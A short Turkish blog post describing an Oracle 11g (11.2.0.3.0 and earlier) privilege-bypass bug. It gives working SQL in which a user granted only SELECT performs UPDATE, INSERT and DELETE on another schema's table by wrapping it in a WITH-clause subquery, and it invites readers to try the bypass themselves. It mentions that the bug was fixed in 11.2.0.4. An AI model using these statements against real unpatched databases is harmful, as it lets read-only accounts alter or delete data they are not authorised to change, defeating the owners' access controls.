">

Select Yetkili Kullanıcı ile Update,Delete veya Insert yapabilir mi?

Select Yetkili Kullanıcı ile Update,Delete veya Insert yapabilir mi?

Merhaba Arkadaşlar,

 

Hepimizin bildiği üzere veritabanımızın versiyonunu v$version view'ından görebiliriz, peki veritabanınızın versiyonu 11g 11.2.0.3.0 versiyonun da veya bu versiyondan daha düşük bir versiyonda ise select yetkili bir kullanıcı ile update,delete ve insert yapılabilir desem ne dersiniz? :)

eyilmaz kullanıcısı select yetkili bir kullanıcı olduğunu düşünün;

Aşağıdaki script'ti çalıştırırsanız yetkiler yetersiz hatası alacaksınız.

update eyilmaz.STUDENTS t set t.studentid=9 where t.firstname='esn';

Bu update işlemini birde aşağıdaki gibi denerseniz, update işlemini gerçekleştiğini göreceksiniz. Commit'lenmemesi gerekiyorsa sakin commitlemeyin:)

update (with tmp as (select * from eyilmaz.STUDENTS) select * from tmp) set studentid=9 where firstname='esn';
Aynı şekilde insert ve delete işlemini de aşağıdaki gibi yapabilirsiniz.

insert into (with tmp as (select * from eyilmaz.STUDENTS) select * from tmp) values(1,'adada','asdadasd') ;

delete from (with tmp as (select * from eyilmaz.STUDENTS) select * from tmp) where studentid=1;


Tabi bu oracle için çok kritik bir bug. O yüzden bu bug'ı 11.2.0.4 versiyonunda çözdü. Hadi sizde select yetkili kullanıcınızla bir deneme yapın :)

Yorumlar

Henüz yorum yapılmadı.

Yorum Yapın